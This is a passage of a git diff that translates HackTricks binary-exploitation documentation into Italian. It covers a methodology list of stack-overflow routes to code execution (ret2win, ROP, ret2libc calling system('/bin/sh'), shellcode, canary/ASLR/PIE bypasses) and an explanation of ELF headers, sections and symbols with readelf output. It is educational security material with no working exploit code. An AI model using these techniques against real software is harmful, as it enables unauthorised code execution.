[**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): C'è una funzione nel codice che devi chiamare (forse con alcuni parametri specifici) per ottenere il flag. +- In un **bof regolare senza** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) devi solo scrivere l'indirizzo nel puntatore di ritorno memorizzato nello stack. +- In un bof con [**PIE**](../common-binary-protections-and-bypasses/pie/), dovrai bypassarlo. +- In un bof con [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), dovrai bypassarlo. +- Se hai bisogno di impostare diversi parametri per chiamare correttamente la funzione **ret2win**, puoi usare: +- Una [**catena ROP**](./#rop-and-ret2...-techniques) **se ci sono abbastanza gadget** per preparare tutti i parametri. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (nel caso tu possa chiamare questa syscall) per controllare molti registri. +- Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri. +- Tramite un [**Write What Where**](../arbitrary-write-2-exec/) potresti abusare di altre vulnerabilità (non bof) per chiamare la funzione **`win`**. +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi. +- [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai. -### Goal: RCE +### Obiettivo: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### Via shellcode, se nx disabilitato o mescolando shellcode con ROP: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(Stack) Shellcode**](./#stack-shellcode): Questo è utile per memorizzare uno shellcode nello stack prima o dopo aver sovrascritto il puntatore di ritorno e poi **saltare a esso** per eseguirlo: +- **In ogni caso, se c'è un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in un bof regolare dovrai bypassarlo (leak). +- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) è possibile saltare all'indirizzo dello stack poiché non cambierà mai. +- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) dovrai utilizzare tecniche come [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) per saltare a esso. +- **Con** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), dovrai usare alcuni [**ROP**](../rop-return-oriented-programing/) **per chiamare `memprotect`** e rendere alcune pagine `rwx`, per poi **memorizzare lo shellcode lì** (chiamando read ad esempio) e poi saltare lì. +- Questo mescolerà shellcode con una catena ROP. #### Via syscalls -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Utile per chiamare `execve` per eseguire comandi arbitrari. Devi essere in grado di trovare i **gadget per chiamare la specifica syscall con i parametri**. +- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) sono abilitati, dovrai sconfiggerli **per utilizzare i gadget ROP** dal binario o dalle librerie. +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) può essere utile per preparare il **ret2execve**. +- Gadget da [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) per controllare diversi registri. #### Via libc -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Utile per chiamare una funzione da una libreria (di solito da **`libc`**) come **`system`** con alcuni argomenti preparati (ad es. `'/bin/sh'`). Devi che il binario **carichi la libreria** con la funzione che desideri chiamare (libc di solito). +- Se **compilato staticamente e senza** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente. +- **Senza** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e conoscendo la versione di libc** caricata, l'**indirizzo** di `system` e `/bin/sh` non cambierà, quindi è possibile usarli staticamente. +- Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ma senza** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, conoscendo la libc e con il binario che utilizza la funzione `system`** è possibile **`ret` all'indirizzo di system in GOT** con l'indirizzo di `'/bin/sh'` nel parametro (dovrai scoprirlo). +- Con [ASLR](../common-binary-protections-and-bypasses/aslr/) ma senza [PIE](../common-binary-protections-and-bypasses/pie/), conoscendo la libc e **senza che il binario utilizzi la `system`**: +- Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) per risolvere l'indirizzo di `system` e chiamarlo. +- **Bypassa** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) e calcola l'indirizzo di `system` e `'/bin/sh'` in memoria. +- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/) **e non conoscendo la libc**: Devi: +- Bypassare [**PIE**](../common-binary-protections-and-bypasses/pie/). +- Trovare la **versione di `libc`** utilizzata (leak un paio di indirizzi di funzione). +- Controllare gli **scenari precedenti con ASLR** per continuare. #### Via EBP/RBP -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controllare l'ESP per controllare RET tramite l'EBP memorizzato nello stack. +- Utile per **off-by-one** stack overflows. +- Utile come modo alternativo per controllare EIP mentre si abusa di EIP per costruire il payload in memoria e poi saltare a esso tramite EBP. -#### Misc +#### Varie -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) o [**PIE**](../common-binary-protections-and-bypasses/pie/) potrebbero influenzare gli indirizzi. +- [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..b6c367fe7 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# Informazioni di base su ELF {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## Intestazioni del programma +Descrivono al loader come caricare l'**ELF** in memoria: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` - -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +Il programma precedente ha **9 intestazioni di programma**, quindi, la **mappatura dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**. ### PHDR - Program HeaDeR -Contains the program header tables and metadata itself. +Contiene le tabelle delle intestazioni di programma e i metadati stessi. ### INTERP -Indicates the path of the loader to use to load the binary into memory. +Indica il percorso del loader da utilizzare per caricare il binario in memoria. ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +Queste intestazioni vengono utilizzate per indicare **come caricare un binario in memoria.**\ +Ogni intestazione **LOAD** indica una regione di **memoria** (dimensione, permessi e allineamento) e indica i byte del binario ELF **da copiare lì**. -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +Ad esempio, la seconda ha una dimensione di 0x1190, dovrebbe trovarsi a 0x1fc48 con permessi di lettura e scrittura e sarà riempita con 0x528 dall'offset 0xfc48 (non riempie tutto lo spazio riservato). Questa memoria conterrà le sezioni `.init_array .fini_array .dynamic .got .data .bss`. ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +Questa intestazione aiuta a collegare i programmi alle loro dipendenze di libreria e ad applicare le rilocalizzazioni. Controlla la sezione **`.dynamic`**. ### NOTE -This stores vendor metadata information about the binary. +Questo memorizza informazioni sui metadati del fornitore riguardo al binario. ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +Definisce la posizione delle tabelle di unwind dello stack, utilizzate dai debugger e dalle funzioni di runtime per la gestione delle eccezioni in C++. ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +Contiene la configurazione della difesa contro l'esecuzione dello stack. Se abilitato, il binario non sarà in grado di eseguire codice dallo stack. ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +Indica la configurazione RELRO (Relocation Read-Only) del binario. Questa protezione contrassegnerà come di sola lettura alcune sezioni della memoria (come il `GOT` o le tabelle `init` e `fini`) dopo che il programma è stato caricato e prima che inizi a essere eseguito. -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +Nell'esempio precedente sta copiando 0x3b8 byte a 0x1fc48 come di sola lettura, influenzando le sezioni `.init_array .fini_array .dynamic .got .data .bss`. -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +Nota che RELRO può essere parziale o completo, la versione parziale non protegge la sezione **`.plt.got`**, che viene utilizzata per il **lazy binding** e ha bisogno di questo spazio di memoria per avere **permessi di scrittura** per scrivere l'indirizzo delle librerie la prima volta che viene cercata la loro posizione. ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +Definisce una tabella di voci TLS, che memorizza informazioni sulle variabili locali al thread. ## Section Headers -Section headers gives a more detailed view of the ELF binary - +Le intestazioni delle sezioni forniscono una visione più dettagliata del binario ELF. ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +Indica anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione. -It also indicates the location, offset, permissions but also the **type of data** it section has. +### Sezioni Meta -### Meta Sections +- **String table**: Contiene tutte le stringhe necessarie al file ELF (ma non quelle effettivamente utilizzate dal programma). Ad esempio, contiene nomi di sezioni come `.text` o `.data`. E se `.text` si trova all'offset 45 nella string table, utilizzerà il numero **45** nel campo **name**. +- Per trovare dove si trova la string table, l'ELF contiene un puntatore alla string table. +- **Symbol table**: Contiene informazioni sui simboli come il nome (offset nella string table), indirizzo, dimensione e ulteriori metadati sul simbolo. -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### Sezioni Principali -### Main Sections +- **`.text`**: Le istruzioni del programma da eseguire. +- **`.data`**: Variabili globali con un valore definito nel programma. +- **`.bss`**: Variabili globali lasciate non inizializzate (o inizializzate a zero). Le variabili qui sono automaticamente inizializzate a zero, prevenendo quindi l'aggiunta di zeri inutili al binario. +- **`.rodata`**: Variabili globali costanti (sezione di sola lettura). +- **`.tdata`** e **`.tbss`**: Come .data e .bss quando si utilizzano variabili locali al thread (`__thread_local` in C++ o `__thread` in C). +- **`.dynamic`**: Vedi sotto. -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## Simboli +I simboli sono una posizione nominata nel programma che potrebbe essere una funzione, un oggetto di dati globale, variabili locali al thread... ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +Ogni voce simbolo contiene: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **Nome** +- **Attributi di binding** (debole, locale o globale): Un simbolo locale può essere accessibile solo dal programma stesso, mentre i simboli globali sono condivisi al di fuori del programma. Un oggetto debole è, ad esempio, una funzione che può essere sovrascritta da un'altra. +- **Tipo**: NOTYPE (nessun tipo specificato), OBJECT (variabile di dati globale), FUNC (funzione), SECTION (sezione), FILE (file di codice sorgente per debugger), TLS (variabile locale al thread), GNU_IFUNC (funzione indiretta per rilocazione) +- **Indice della sezione** in cui si trova +- **Valore** (indirizzo in memoria) +- **Dimensione** +## Sezione Dinamica 